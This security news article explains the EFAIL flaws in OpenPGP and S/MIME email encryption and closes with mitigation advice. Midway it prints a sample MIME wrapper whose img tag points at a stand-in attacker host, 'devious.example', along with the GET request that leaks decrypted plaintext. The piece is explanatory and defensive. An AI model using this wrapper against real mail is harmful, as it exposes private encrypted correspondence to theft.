This week’s bug of the month is the trendily-named EFAIL.
Like many groovy bugs these days, it’s both a BWAIN (bug with an impressive name) and a BWIVOL (bug with its very own logo, shown in the image at the top of this article).
The name is a pun of sorts on the word “email”, and the bug is caused by a flaw in the specifications set down for two popular standards used for email encryption, namely OpenPGP and S/MIME.
Simply put, the EFAIL vulnerabilities are a pair of security holes that a crook might be able to use to trick recipients of encrypted messages into leaking out some or all of their decrypted content.
Note that this attack only applies if you are using S/MIME or OpenPGP for end-to-end email encryption.
If you aren’t using either of these add-ons in your email client, this vulnerability doesn’t affect you – after all, if the crooks can sniff out your original messages and they’re not encrypted, they’ve got your plaintext already.
Note also that this attack doesn’t work on all messages; it doesn’t work in real time; you need a copy of the original encrypted message; it only works with some email clients; and it pretty much requires both HTML rendering and remote content download turned on in your email client.
Additionally, for one of the flavours of the attack, you have to know, or be able to guess correctly, some of the plaintext from the original message.
Technically speaking, these attacks aren’t strictly due to bugs, but rather to sloppy standards in S/MIME and OpenPGP that aren’t strict enough by design to inhibit this sort of “message tweaking”.
In the short term, you can expect updates to affected email clients that do their best to suppress these holes; in the long term, you should hope for improved standards for end-to-end email encryption.
In the immediate term, we’ve provided some steps below that you can take to protect yourself right now.
How EFAIL works
Here’s what you have to do, assuming that your victim is using a vulnerable email client:
- Capture an encrypted message. You can do this as it’s being sent, during transit, or after delivery.
- Modify the message subtly and then send it again. The alterations are chosen so that, after the message is unscrambled for display, it consists of the now-decrypted text wrapped inside a reference such as an image tag that links out to some external website.
- Wait for the victim’s email client to fetch content from the maliciously-constructed web reference. Because the link is wrapped around decrypted text, the resulting URL used in the download request will leak plaintext.
One way to pull off this trick is summarised on the EFAIL web page: you replay the original encrypted MIME email message, but you insert unencrypted MIME body parts in HTML format above and below the encrypted chunk.
This means that the final decrypted message ends up sandwiched between two HTML fragments of your choice.
Imagine that your stolen-but-encrypted message body part looks like this:
--MIMESEPARATOR
Content-Type: [...encrypted...]
Content-Transfer-Encoding: base64
XXXXXXXXXXXX...[base64(encrypt(plaintext))]...XXXXXX
Assume that, after decryption, the message comes out as:
The secret plaintext revealed
Now, replay the encrypted message wrapped up as follows:
--MIMESEPARATOR
Content-Type: text/html
img src="http://devious.example/
--MIMESEPARATOR
Content-Type: [encrypted]
Content-Transfer-Encoding: base64
XXXXXXXXXXXX...[base64(encrypt(plaintext))]...XXXXXX
--MIMESEPARATOR
Content-Type: text/html
"
If the victim’s email client blindly stitches together the three extracted-decrypted-and-decoded-as-needed MIME body parts, the ready-for-display message ends up like this:
img src="http://devious.example/The secret plaintext revealed"
Now, if the email client decides to apply the Content-Type of text/html to the entire decrypted-and-stitched-together message, and if HTML message display is turned on, and if “fetch remote content” is enabled (either by default or because the recipient decides to click the [Fetch images] button or its equivalent in their mailer)…
…then their email client will issue an HTTP GET request to download the specified “image”, something like this:
GET /The%20secret%20plaintext%20revealed HTTP/1.1
Host: devious.example
User-Agent: [someidentifier]
See what you did there?
The victim just reached out via HTTP to your website, with a URL path consisting of the email message text after their email client had carefully and automatically unscrambled it.
You just pulled off a plaintext data leakage attack, essentially turning the encryption plugin against itself!
As the attacker, you could also serve back an innocent looking image (what’s known in the trade as a decoy), perhaps even tailored to your victim, in order to disguise the treachery you just pulled off.
Spaces aren’t allowed in URLs, so the original link in the IMG tag isn’t legal and can’t actually be used in an HTTP request. But web clients helpfully avoid this problem by automatically replacing spaces with the legal URL text %20, which is the hexadecimal equivalent of 32, the ASCII code for the space character. Of course, if there’s a quote mark somewhere in the decrypted text, the IMG link will be cut off early and might not work, and if the decrypted text is too long, the email client’s web downloader might truncate or refuse the resulting URL, but that would save you from a data breach by accident rather than by design.
There’s another way
There’s a second way to trigger an EFAIL attack detailed in the paper, one that doesn’t require you to put new MIME body parts either side of the encrypted email.
We’re not going to explain it fully here, because the details are quite tricky, but the outcome is similar to the situation described above: you inject HTML tags into the decrypted text so that the final message contains web links in which the URLs wrap around data that’s supposed to be private.
If the email client treats the ready-to-use message as HTML and tries to render it for display by fetching remote content, the same data leakage happens as before because you receive a web request from the victim in which the URL path is a chunk of secret data, handily decrypted for you.
This second attack only works if you can modify some blocks of the original encrypted data in such a way as to control what comes out when you decrypt it; this, is turn, is only possible for encrypted blocks where you already know the decrypted version – what’s called a known plaintext attack.
Unfortunately, encrypted S/MIME body parts tend to start with the text string Content-type: multipart/signed, meaning that there’s almost always known plaintext to work with.
Any known plaintext of 16 bytes or longer is enough to inject one or more 16-byte blocks of chosen output into the decrypted stream (assuming the 16-bytes-per-block AES cipher is used in CBC or CFB mode), although this sort of modification also introduces 16 bytes of garbage each time, something that you need to keep in mind when choosing how to tweak the original message.
Ultimately, this means that it is technically possible, albeit tricky, to corrupt the encrypted data in such a way that short text strings are injected into the decrypted data, along with various fragments of garbage.
If the messed-up decryption were viewed as raw text, little harm would be done because the corruption would almost certainly be obvious.
What turns the modification into a potential attack is the possibility that the corrupted output might include sneakily-injected web links deliberately chosen to leak data.
What to do?
- Check the EFAIL paper for a list of potentially vulnerable email clients. If yours is at risk, keep your eyes open for a patch that stops these attacks.
- Turn off HTML email rendering in your email client. Note that it’s not sufficient to stop your mailer from sending HTML; you need to stop it processing HTML when you receive it. If you’re the sort of email user who finds the end-to-end encryption of S/MIME vital, you probably want HTML rendering off anyway, as a way of minimising the risk of any sort of HTML-based data exfiltration.
- Turn off “show remote content” in your email client. If you must have HTML rendering turned on, at least ensure that you aren’t authorising your mailer to make outbound connections automatically. Autorendering remote content exposes you to lots of online risks, even if you don’t use S/MIME or OpenPGP.
- Don’t accept encrypted messages that fail their integrity checks, or aren’t integrity protected. The second flavour of the EFAIL attack relies on modifying both both the encrypted and decrypted text, and you shouldn’t trust an altered message anyway, whether the modifcations were there to introduce dodgy HTML tags or not.
- If you are a programmer, only ever use authenticated encryption algorithms from now on. Modern modes of encryption, such as AES-GCM, automatically encrypt and produce a message authentication code at the same time. That means you can always tell if anyone has messed with encrypted data.
Article source: http://feedproxy.google.com/~r/nakedsecurity/~3/6oAl3xnHaCo/
